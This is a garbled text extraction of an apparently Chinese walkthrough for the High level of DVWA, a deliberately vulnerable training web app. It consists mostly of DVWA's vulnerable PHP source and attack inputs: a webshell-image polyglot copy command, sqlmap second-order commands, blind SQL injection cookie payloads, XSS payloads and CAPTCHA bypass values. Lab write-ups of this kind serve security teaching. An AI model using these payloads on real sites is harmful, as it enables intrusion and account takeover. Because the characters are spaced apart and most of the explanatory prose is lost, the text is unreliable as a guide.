[19602] 2020-04-28_DvwaHigh通关指南(建议收藏)

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-04-28_DvwaHigh通关指南(建议收藏) D v w a   H i g h i   2 0 2 0 - 0 4 - 2 8 D v w a c s r f s q l L o w M e d i u m H i g h I m p o s s i b l e i A d i a n D v w a   h i g h D V W A 1 4 B r u t e   F o r c e C o m m a n d   I n j e c t i o n C S R F F i l e   I n c l u s i o n F i l e   U p l o a d I n s e c u r e   C A P T C H A S Q L   I n j e c t i o n S Q L   I n j e c t i o n   ( B l i n d ) W e a k   S e s s i o n   I D s X S S   ( D O M ) X S S   ( R e f l e c t e d ) X S S   ( S t o r e d ) C S P   B y p a s s J a v a S c r i p t B r u t e   F o r c e h i g h . p h p < ? p h p i f (   i s s e t (   $ _ G E T [   ' L o g i n '   ]   )   )   {                 / /   C h e c k   A n t i - C S R F   t o k e n                 c h e c k T o k e n (   $ _ R E Q U E S T [   ' u s e r _ t o k e n '   ] ,   $ _ S E S S I O N [   ' s e s s i o n _ t o k e n '   ] ,   ' i n d e x . p h p '   ) ;                 / /   S a n i t i s e   u s e r n a m e   i n p u t                 $ u s e r   =   $ _ G E T [   ' u s e r n a m e '   ] ;                 $ u s e r   =   s t r i p s l a s h e s (   $ u s e r   ) ;                 $ u s e r   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ u s e r   )   :   ( ( t r i g g e r _ e r r o r ( " [ M y S Q L C o n v e r t e r T o o ]   F i x   t h e   m y s q l _ e s c a p e _ s t r i n g ( )   c a l l !   T h i s   c o d e   d o e s   n o t   w o r k . " ,   E _ U S E R _ E R R O R ) )   ?   " "   :   " " ) ) ;                 / /   S a n i t i s e   p a s s w o r d   i n p u t                 $ p a s s   =   $ _ G E T [   ' p a s s w o r d '   ] ;                 $ p a s s   =   s t r i p s l a s h e s (   $ p a s s   ) ;                 $ p a s s   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ p a s s   )   :   ( ( t r i g g e r _ e r r o r ( " [ M y S Q L C o n v e r t e r T o o ]   F i x   t h e   m y s q l _ e s c a p e _ s t r i n g ( )   c a l l !   T h i s   c o d e   d o e s   n o t   w o r k . " ,   E _ U S E R _ E R R O R ) )   ?   " "   :   " " ) ) ;                 $ p a s s   =   m d 5 (   $ p a s s   ) ;                 / /   C h e c k   d a t a b a s e                 $ q u e r y     =   " S E L E C T   *   F R O M   ` u s e r s `   W H E R E   u s e r   =   ' $ u s e r '   A N D   p a s s w o r d   =   ' $ p a s s ' ; " ;                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ q u e r y   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ e r r o r ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   :   ( ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c o n n e c t _ e r r o r ( ) )   ?   $ _ _ _ m y s q l i _ r e s   :   f a l s e ) )   .   ' < / p r e > '   ) ;                 i f (   $ r e s u l t   & &   m y s q l i _ n u m _ r o w s (   $ r e s u l t   )   = =   1   )   {                                 / /   G e t   u s e r s   d e t a i l s                                 $ r o w         =   m y s q l i _ f e t c h _ a s s o c (   $ r e s u l t   ) ;                                 $ a v a t a r   =   $ r o w [ " a v a t a r " ] ;                                 / /   L o g i n   s u c c e s s f u l                                 $ h t m l   . =   " < p > W e l c o m e   t o   t h e   p a s s w o r d   p r o t e c t e d   a r e a   { $ u s e r } < / p > " ;                                 $ h t m l   . =   " < i m g   s r c = " { $ a v a t a r } "   / > " ;                 }                 e l s e   {
H i g h C S R F t o k e n 使 s t r i p s l a s h e s (   ) u s e r _ t o k e n p a s s w o r d P i t c h f o r k R e d i r e c t i o n s a l w a y s O p t i o n s G r e p - E x t r a c t A d d u s e r _ t o k e n                 e l s e   {                                 / /   L o g i n   f a i l e d                                 s l e e p (   r a n d (   0 ,   3   )   ) ;                                 $ h t m l   . =   " < p r e > < b r   / > U s e r n a m e   a n d / o r   p a s s w o r d   i n c o r r e c t . < / p r e > " ;                 }                 ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } / /   G e n e r a t e   A n t i - C S R F   t o k e n g e n e r a t e S e s s i o n T o k e n ( ) ; ? >
p a y l o a d t o k e n p a y l a o d t o k e n 线 1 b u r p s u i t e P i t c h f o r k 1 C o m m a n d   I n j e c t i o n ( $ $ ; ( ) 使   " |   " < ? p h p i f (   i s s e t (   $ _ P O S T [   ' S u b m i t '   ]     )   )   {                 / /   G e t   i n p u t                 $ t a r g e t   =   t r i m ( $ _ R E Q U E S T [   ' i p '   ] ) ;                 / /   S e t   b l a c k l i s t                 $ s u b s t i t u t i o n s   =   a r r a y (                                 ' & '     = >   ' ' ,                                 ' ; '     = >   ' ' ,                                 ' |   '   = >   ' ' ,                                 ' - '     = >   ' ' ,                                 ' $ '     = >   ' ' ,                                 ' ( '     = >   ' ' ,                                 ' ) '     = >   ' ' ,                                 ' ` '     = >   ' ' ,                                 ' | | '   = >   ' ' ,                 ) ;                 / /   R e m o v e   a n y   o f   t h e   c h a r a c t a r s   i n   t h e   a r r a y   ( b l a c k l i s t ) .                 $ t a r g e t   =   s t r _ r e p l a c e (   a r r a y _ k e y s (   $ s u b s t i t u t i o n s   ) ,   $ s u b s t i t u t i o n s ,   $ t a r g e t   ) ;                 / /   D e t e r m i n e   O S   a n d   e x e c u t e   t h e   p i n g   c o m m a n d .                 i f (   s t r i s t r (   p h p _ u n a m e (   ' s '   ) ,   ' W i n d o w s   N T '   )   )   {                                 / /   W i n d o w s                                 $ c m d   =   s h e l l _ e x e c (   ' p i n g     '   .   $ t a r g e t   ) ;                 }                 e l s e   {                                 / /   * n i x                                 $ c m d   =   s h e l l _ e x e c (   ' p i n g     - c   4   '   .   $ t a r g e t   ) ;                 }                 / /   F e e d b a c k   f o r   t h e   e n d   u s e r                 $ h t m l   . =   " < p r e > { $ c m d } < / p r e > " ; } ? >
C S R F h i g h . p h p H i g h A n t i - C S R F   t o k e n 访 t o k e n t o k e n b u r p C S R F T o k e n T r a c k e r t o k e n < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {                 / /   C h e c k   A n t i - C S R F   t o k e n                 c h e c k T o k e n (   $ _ R E Q U E S T [   ' u s e r _ t o k e n '   ] ,   $ _ S E S S I O N [   ' s e s s i o n _ t o k e n '   ] ,   ' i n d e x . p h p '   ) ;                 / /   G e t   i n p u t                 $ p a s s _ n e w     =   $ _ G E T [   ' p a s s w o r d _ n e w '   ] ;                 $ p a s s _ c o n f   =   $ _ G E T [   ' p a s s w o r d _ c o n f '   ] ;                 / /   D o   t h e   p a s s w o r d s   m a t c h ?                 i f (   $ p a s s _ n e w   = =   $ p a s s _ c o n f   )   {                                 / /   T h e y   d o !                                 $ p a s s _ n e w   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ p a s s _ n e w   )   :   ( ( t r i g g e r _ e r r o r ( " [ M y S Q L C o n v e r t e r T o o ]   F i x   t h e   m y s q l _ e s c a p e _ s t r i n g ( )   c a l l !   T h i s   c o d e   d o e s   n o t   w o r k . " ,   E _ U S E R _ E R R O R ) )   ?   " "   :   " " ) ) ;                                 $ p a s s _ n e w   =   m d 5 (   $ p a s s _ n e w   ) ;                                 / /   U p d a t e   t h e   d a t a b a s e                                 $ i n s e r t   =   " U P D A T E   ` u s e r s `   S E T   p a s s w o r d   =   ' $ p a s s _ n e w '   W H E R E   u s e r   =   ' "   .   d v w a C u r r e n t U s e r ( )   .   " ' ; " ;                                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ i n s e r t   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ e r r o r ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   :   ( ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c o n n e c t _ e r r o r ( ) )   ?   $ _ _ _ m y s q l i _ r e s   :   f a l s e ) )   .   ' < / p r e > '   ) ;                                 / /   F e e d b a c k   f o r   t h e   u s e r                                 $ h t m l   . =   " < p r e > P a s s w o r d   C h a n g e d . < / p r e > " ;                 }                 e l s e   {                                 / /   I s s u e   w i t h   p a s s w o r d s   m a t c h i n g                                 $ h t m l   . =   " < p r e > P a s s w o r d s   d i d   n o t   m a t c h . < / p r e > " ;                 }                 ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } / /   G e n e r a t e   A n t i - C S R F   t o k e n g e n e r a t e S e s s i o n T o k e n ( ) ; ? >
r e p e a t e r t o k e n F i l e   I n c l u s i o n ( ) h i g h . p h p i n c l u d e . p h p 使 f i l e F i l e   U p l o a d ( ) h i g h . p h p g e t i m a g e s i z e (   ) ' . ' j p g j p e g p n g c m d 0 0 I n s e c u r e   C A P T C H A ( ) I n s e c u r e   C A P T C H A C A P T C H A C o m p l e t e l y   A u t o m a t e d   P u b l i c   T u r i n g   T e s t   t o   T e l l   C o m p u t e r s   a n d   H u m a n s   A p a r t < ? p h p / /   T h e   p a g e   w e   w i s h   t o   d i s p l a y $ f i l e   =   $ _ G E T [   ' p a g e '   ] ; / /   I n p u t   v a l i d a t i o n i f (   ! f n m a t c h (   " f i l e * " ,   $ f i l e   )   & &   $ f i l e   ! =   " i n c l u d e . p h p "   )   {                 / /   T h i s   i s n ' t   t h e   p a g e   w e   w a n t !                 e c h o   " E R R O R :   F i l e   n o t   f o u n d ! " ;                 e x i t ; } ? i f (   ! f n m a t c h (   " f i l e * " ,   $ f i l e   )   & &   $ f i l e   ! =   " i n c l u d e . p h p "   ) < ? p h p i f (   i s s e t (   $ _ P O S T [   ' U p l o a d '   ]   )   )   {                 / /   W h e r e   a r e   w e   g o i n g   t o   b e   w r i t i n g   t o ?                 $ t a r g e t _ p a t h     =   D V W A _ W E B _ P A G E _ T O _ R O O T   .   " h a c k a b l e / u p l o a d s / " ;                 $ t a r g e t _ p a t h   . =   b a s e n a m e (   $ _ F I L E S [   ' u p l o a d e d '   ] [   ' n a m e '   ]   ) ;                 / /   F i l e   i n f o r m a t i o n                 $ u p l o a d e d _ n a m e   =   $ _ F I L E S [   ' u p l o a d e d '   ] [   ' n a m e '   ] ;                 $ u p l o a d e d _ e x t     =   s u b s t r (   $ u p l o a d e d _ n a m e ,   s t r r p o s (   $ u p l o a d e d _ n a m e ,   ' . '   )   +   1 ) ;                 $ u p l o a d e d _ s i z e   =   $ _ F I L E S [   ' u p l o a d e d '   ] [   ' s i z e '   ] ;                 $ u p l o a d e d _ t m p     =   $ _ F I L E S [   ' u p l o a d e d '   ] [   ' t m p _ n a m e '   ] ;                 / /   I s   i t   a n   i m a g e ?                 i f (   (   s t r t o l o w e r (   $ u p l o a d e d _ e x t   )   = =   " j p g "   | |   s t r t o l o w e r (   $ u p l o a d e d _ e x t   )   = =   " j p e g "   | |   s t r t o l o w e r (   $ u p l o a d e d _ e x t   )   = =   " p n g "   )   & &                                 (   $ u p l o a d e d _ s i z e   <   1 0 0 0 0 0   )   & &                                 g e t i m a g e s i z e (   $ u p l o a d e d _ t m p   )   )   {                                 / /   C a n   w e   m o v e   t h e   f i l e   t o   t h e   u p l o a d   f o l d e r ?                                 i f (   ! m o v e _ u p l o a d e d _ f i l e (   $ u p l o a d e d _ t m p ,   $ t a r g e t _ p a t h   )   )   {                                                 / /   N o                                                 $ h t m l   . =   ' < p r e > Y o u r   i m a g e   w a s   n o t   u p l o a d e d . < / p r e > ' ;                                 }                                 e l s e   {                                                 / /   Y e s !                                                 $ h t m l   . =   " < p r e > { $ t a r g e t _ p a t h }   s u c c e s f u l l y   u p l o a d e d ! < / p r e > " ;                                 }                 }                 e l s e   {                                 / /   I n v a l i d   f i l e                                 $ h t m l   . =   ' < p r e > Y o u r   i m a g e   w a s   n o t   u p l o a d e d .   W e   c a n   o n l y   a c c e p t   J P E G   o r   P N G   i m a g e s . < / p r e > ' ;                 } } ? > c o p y   s h e l l . p h p / b + t e s t . p n g / a   h a c k . p n g r e c a p t c h a _ c h e c k _ a n s w e r ( $ p r i v k e y , $ r e m o t e i p ,   $ c h a l l e n g e , $ r e s p o n s e )
$ r e s p   = =   F a l s e g - r e c a p t c h a - r e s p o n s e   ! =   h i d d 3 n _ v a l u 3 H T T P _ U S E R _ A G E N T   ! =   r e C A P T C H A $ r e s p r e c a p t c h a _ c h e c k _ a n s w e r (   ) g - r e c a p t c h a - r e s p o n s e H T T P _ U S E R _ A G E N T H T T P _ U S E R _ A G E N T r e C A P T C H A g - r e c a p t c h a - r e s p o n s e h i d d 3 n _ v a l u 3 o k S Q L   I n j e c t i o n ( S Q L ) < ? p h p i f (   i s s e t (   $ _ P O S T [   ' C h a n g e '   ]   )   )   {                 / /   H i d e   t h e   C A P T C H A   f o r m                 $ h i d e _ f o r m   =   t r u e ;                 / /   G e t   i n p u t                 $ p a s s _ n e w     =   $ _ P O S T [   ' p a s s w o r d _ n e w '   ] ;                 $ p a s s _ c o n f   =   $ _ P O S T [   ' p a s s w o r d _ c o n f '   ] ;                 / /   C h e c k   C A P T C H A   f r o m   3 r d   p a r t y                 $ r e s p   =   r e c a p t c h a _ c h e c k _ a n s w e r (                                 $ _ D V W A [   ' r e c a p t c h a _ p r i v a t e _ k e y '   ] ,                                 $ _ P O S T [ ' g - r e c a p t c h a - r e s p o n s e ' ]                 ) ;                 i f   (                                 $ r e s p   | |                                   (                                                 $ _ P O S T [   ' g - r e c a p t c h a - r e s p o n s e '   ]   = =   ' h i d d 3 n _ v a l u 3 '                                                 & &   $ _ S E R V E R [   ' H T T P _ U S E R _ A G E N T '   ]   = =   ' r e C A P T C H A '                                 )                 ) {                                 / /   C A P T C H A   w a s   c o r r e c t .   D o   b o t h   n e w   p a s s w o r d s   m a t c h ?                                 i f   ( $ p a s s _ n e w   = =   $ p a s s _ c o n f )   {                                                 $ p a s s _ n e w   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ p a s s _ n e w   )   :   ( ( t r i g g e r _ e r r o r ( " [ M y S Q L C o n v e r t e r T o o ]   F i x   t h e   m y s q l _ e s c a p e _ s t r i n g ( )   c a l l !   T h i s   c o d e   d o e s   n o t   w o r k . " ,   E _ U S E R _ E R R O R ) )   ?   " "   :   " " ) ) ;                                                 $ p a s s _ n e w   =   m d 5 (   $ p a s s _ n e w   ) ;                                                 / /   U p d a t e   d a t a b a s e                                                 $ i n s e r t   =   " U P D A T E   ` u s e r s `   S E T   p a s s w o r d   =   ' $ p a s s _ n e w '   W H E R E   u s e r   =   ' "   .   d v w a C u r r e n t U s e r ( )   .   " '   L I M I T   1 ; " ;                                                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ i n s e r t   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ e r r o r ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   :   ( ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c o n n e c t _ e r r o r ( ) )   ?   $ _ _ _ m y s q l i _ r e s   :   f a l s e ) )   .   ' < / p r e > '   ) ;                                                 / /   F e e d b a c k   f o r   u s e r                                                 $ h t m l   . =   " < p r e > P a s s w o r d   C h a n g e d . < / p r e > " ;                                 }   e l s e   {                                                 / /   O p s .   P a s s w o r d   m i s m a t c h                                                 $ h t m l           . =   " < p r e > B o t h   p a s s w o r d s   m u s t   m a t c h . < / p r e > " ;                                                 $ h i d e _ f o r m   =   f a l s e ;                                 }                 }   e l s e   {                                 / /   W h a t   h a p p e n s   w h e n   t h e   C A P T C H A   w a s   e n t e r e d   i n c o r r e c t l y                                 $ h t m l           . =   " < p r e > < b r   / > T h e   C A P T C H A   w a s   i n c o r r e c t .   P l e a s e   t r y   a g a i n . < / p r e > " ;                                 $ h i d e _ f o r m   =   f a l s e ;                                 r e t u r n ;                 }                 ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } / /   G e n e r a t e   A n t i - C S R F   t o k e n g e n e r a t e S e s s i o n T o k e n ( ) ; ? >
h i g h . p h p l o w s q l m a p - u c o o k i e s e s s i o n , u s a g e - - s e c o n d - o r d e r 1 . t x t S Q L   I n j e c t i o n   ( B l i n d ) h i g h . p h p c o o k i e i d 1   a n d   l e n g t h ( d a t a b a s e (   ) ) = 4   # 4 < ? p h p i f (   i s s e t (   $ _ S E S S I O N   [   ' i d '   ]   )   )   {                 / /   G e t   i n p u t                 $ i d   =   $ _ S E S S I O N [   ' i d '   ] ;                 / /   C h e c k   d a t a b a s e                 $ q u e r y     =   " S E L E C T   f i r s t _ n a m e ,   l a s t _ n a m e   F R O M   u s e r s   W H E R E   u s e r _ i d   =   ' $ i d '   L I M I T   1 ; " ;                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,   $ q u e r y   )   o r   d i e (   ' < p r e > S o m e t h i n g   w e n t   w r o n g . < / p r e > '   ) ;                 / /   G e t   r e s u l t s                 w h i l e (   $ r o w   =   m y s q l i _ f e t c h _ a s s o c (   $ r e s u l t   )   )   {                                 / /   G e t   v a l u e s                                 $ f i r s t   =   $ r o w [ " f i r s t _ n a m e " ] ;                                 $ l a s t     =   $ r o w [ " l a s t _ n a m e " ] ;                                 / /   F e e d b a c k   f o r   e n d   u s e r                                 $ h t m l   . =   " < p r e > I D :   { $ i d } < b r   / > F i r s t   n a m e :   { $ f i r s t } < b r   / > S u r n a m e :   { $ l a s t } < / p r e > " ;                 }                 ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ;                                 } ? > s q l m a p   - r   1 . t x t   - p   i d     - - s e c o n d - o r d e r   " h t t p : / / 1 9 2 . 1 6 8 . 2 4 2 . 1 / d v w / v u l n e r a b i l i t i e s / s q l i / "     - - l e v e l     2 < ? p h p i f (   i s s e t (   $ _ C O O K I E [   ' i d '   ]   )   )   {                 / /   G e t   i n p u t                 $ i d   =   $ _ C O O K I E [   ' i d '   ] ;                 / /   C h e c k   d a t a b a s e                 $ g e t i d     =   " S E L E C T   f i r s t _ n a m e ,   l a s t _ n a m e   F R O M   u s e r s   W H E R E   u s e r _ i d   =   ' $ i d '   L I M I T   1 ; " ;                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ g e t i d   ) ;   / /   R e m o v e d   ' o r   d i e '   t o   s u p p r e s s   m y s q l   e r r o r s                 / /   G e t   r e s u l t s                 $ n u m   =   @ m y s q l i _ n u m _ r o w s (   $ r e s u l t   ) ;   / /   T h e   ' @ '   c h a r a c t e r   s u p p r e s s e s   e r r o r s                 i f (   $ n u m   >   0   )   {                                 / /   F e e d b a c k   f o r   e n d   u s e r                                 $ h t m l   . =   ' < p r e > U s e r   I D   e x i s t s   i n   t h e   d a t a b a s e . < / p r e > ' ;                 }                 e l s e   {                                 / /   M i g h t   s l e e p   a   r a n d o m   a m o u n t                                 i f (   r a n d (   0 ,   5   )   = =   3   )   {                                                 s l e e p (   r a n d (   2 ,   4   )   ) ;                                 }                                 / /   U s e r   w a s n ' t   f o u n d ,   s o   t h e   p a g e   w a s n ' t !                                 h e a d e r (   $ _ S E R V E R [   ' S E R V E R _ P R O T O C O L '   ]   .   '   4 0 4   N o t   F o u n d '   ) ;                                 / /   F e e d b a c k   f o r   e n d   u s e r                                 $ h t m l   . =   ' < p r e > U s e r   I D   i s   M I S S I N G   f r o m   t h e   d a t a b a s e . < / p r e > ' ;                 }                 ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } ? >
c o o k i e i d 1   a n d   l e n g t h ( s u b s t r ( (   s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e (   )   l i m i t   0 , 1 ) , 1 ) ) = 9   # 9 c o o k i e i d 1   a n d   ( s e l e c t   c o u n t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = 0 × 7 5 7 3 6 5 7 2 7 3 ) = 8   # 0 × 7 5 7 3 6 5 7 2 7 3   u s e r s 1 6 u e r s 8 W e a k   S e s s i o n   I D s h i g h . p h p $ c o o k i e _ v a l u e m d 5 l a s t _ s e s s i o n _ i d _ h i g h l a s t _ s e s s i o n _ i d _ h i g h 0 + 1 m d 5 c o o k i e p a y l o a d 使 X S S   ( D O M ) h i g h . p h p u r l h t t p : / / 1 9 2 . 1 6 8 . 1 5 9 . 1 2 9 / v u l n e r a b i l i t i e s / x s s _ d / ? d e f a u l t = E n g l i s h J a v a s c i p t X S S   ( R e f l e c t e d ) h i g h . p h p < ? p h p $ h t m l   =   " " ; i f   ( $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ]   = =   " P O S T " )   {                 i f   ( ! i s s e t   ( $ _ S E S S I O N [ ' l a s t _ s e s s i o n _ i d _ h i g h ' ] ) )   {                                 $ _ S E S S I O N [ ' l a s t _ s e s s i o n _ i d _ h i g h ' ]   =   0 ;                 }                 $ _ S E S S I O N [ ' l a s t _ s e s s i o n _ i d _ h i g h ' ] + + ;                 $ c o o k i e _ v a l u e   =   m d 5 ( $ _ S E S S I O N [ ' l a s t _ s e s s i o n _ i d _ h i g h ' ] ) ;                 s e t c o o k i e ( " d v w a S e s s i o n " ,   $ c o o k i e _ v a l u e ,   t i m e ( ) + 3 6 0 0 ,   " / v u l n e r a b i l i t i e s / w e a k _ i d / " ,   $ _ S E R V E R [ ' H T T P _ H O S T ' ] ,   f a l s e ,   f a l s e ) ; } ? > < ? p h p / /   I s   t h e r e   a n y   i n p u t ? i f   (   a r r a y _ k e y _ e x i s t s (   " d e f a u l t " ,   $ _ G E T   )   & &   ! i s _ n u l l   ( $ _ G E T [   ' d e f a u l t '   ] )   )   {                 #   W h i t e   l i s t   t h e   a l l o w a b l e   l a n g u a g e s                 s w i t c h   ( $ _ G E T [ ' d e f a u l t ' ] )   {                                 c a s e   " F r e n c h " :                                 c a s e   " E n g l i s h " :                                 c a s e   " G e r m a n " :                                 c a s e   " S p a n i s h " :                                                 #   o k                                                 b r e a k ;                                 d e f a u l t :                                                 h e a d e r   ( " l o c a t i o n :   ? d e f a u l t = E n g l i s h " ) ;                                                 e x i t ;                 } } ? > < o p t i o n   v a l u e = ' ' > E n g l i s h < / o p t i o n > < o p t i o n   v a l u e = ' ' > E n g l i s h   # < s c r i p t > a l e r t ( / x s s / ) < / s c r i p t > < / o p t i o n > < ? p h p h e a d e r   ( " X - X S S - P r o t e c t i o n :   0 " ) ; / /   I s   t h e r e   a n y   i n p u t ? i f (   a r r a y _ k e y _ e x i s t s (   " n a m e " ,   $ _ G E T   )   & &   $ _ G E T [   ' n a m e '   ]   ! =   N U L L   )   {                 / /   G e t   i n p u t                 $ n a m e   =   p r e g _ r e p l a c e (   ' / < ( . * ) s ( . * ) c ( . * ) r ( . * ) i ( . * ) p ( . * ) t / i ' ,   ' ' ,   $ _ G E T [   ' n a m e '   ]   ) ;                 / /   F e e d b a c k   f o r   e n d   u s e r                 $ h t m l   . =   " < p r e > H e l l o   $ { n a m e } < / p r e > " ; }
< s c r i p t > i m g b o d y X S S   ( S t o r e d ) h i g h . p h p < s c r i p t > i m g B u r p s u i t e C S P   B y p a s s C o n t e n t   S e c u r i t y   P o l i c y C S P X S S C S P C o n t e n t } ? > < i m g   s r c = 1 . j p g > < ? p h p i f (   i s s e t (   $ _ P O S T [   ' b t n S i g n '   ]   )   )   {                 / /   G e t   i n p u t                 $ m e s s a g e   =   t r i m (   $ _ P O S T [   ' m t x M e s s a g e '   ]   ) ;                 $ n a m e         =   t r i m (   $ _ P O S T [   ' t x t N a m e '   ]   ) ;                 / /   S a n i t i z e   m e s s a g e   i n p u t                 $ m e s s a g e   =   s t r i p _ t a g s (   a d d s l a s h e s (   $ m e s s a g e   )   ) ;                 $ m e s s a g e   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ m e s s a g e   )   :   ( ( t r i g g e r _ e r r o r ( " [ M y S Q L C o n v e r t e r T o o ]   F i x   t h e   m y s q l _ e s c a p e _ s t r i n g ( )   c a l l !   T h i s   c o d e   d o e s   n o t   w o r k . " ,   E _ U S E R _ E R R O R ) )   ?   " "   :   " " ) ) ;                 $ m e s s a g e   =   h t m l s p e c i a l c h a r s (   $ m e s s a g e   ) ;                 / /   S a n i t i z e   n a m e   i n p u t                 $ n a m e   =   p r e g _ r e p l a c e (   ' / < ( . * ) s ( . * ) c ( . * ) r ( . * ) i ( . * ) p ( . * ) t / i ' ,   ' ' ,   $ n a m e   ) ;                 $ n a m e   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ n a m e   )   :   ( ( t r i g g e r _ e r r o r ( " [ M y S Q L C o n v e r t e r T o o ]   F i x   t h e   m y s q l _ e s c a p e _ s t r i n g ( )   c a l l !   T h i s   c o d e   d o e s   n o t   w o r k . " ,   E _ U S E R _ E R R O R ) )   ?   " "   :   " " ) ) ;                 / /   U p d a t e   d a t a b a s e                 $ q u e r y     =   " I N S E R T   I N T O   g u e s t b o o k   (   c o m m e n t ,   n a m e   )   V A L U E S   (   ' $ m e s s a g e ' ,   ' $ n a m e '   ) ; " ;                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ q u e r y   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ e r r o r ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   :   ( ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c o n n e c t _ e r r o r ( ) )   ?   $ _ _ _ m y s q l i _ r e s   :   f a l s e ) )   .   ' < / p r e > '   ) ;                 / / m y s q l _ c l o s e ( ) ; } ? > < i m g   s r c = 1 . j p g   o n e r r o r = a l e r t ( / a d i a n / ) >
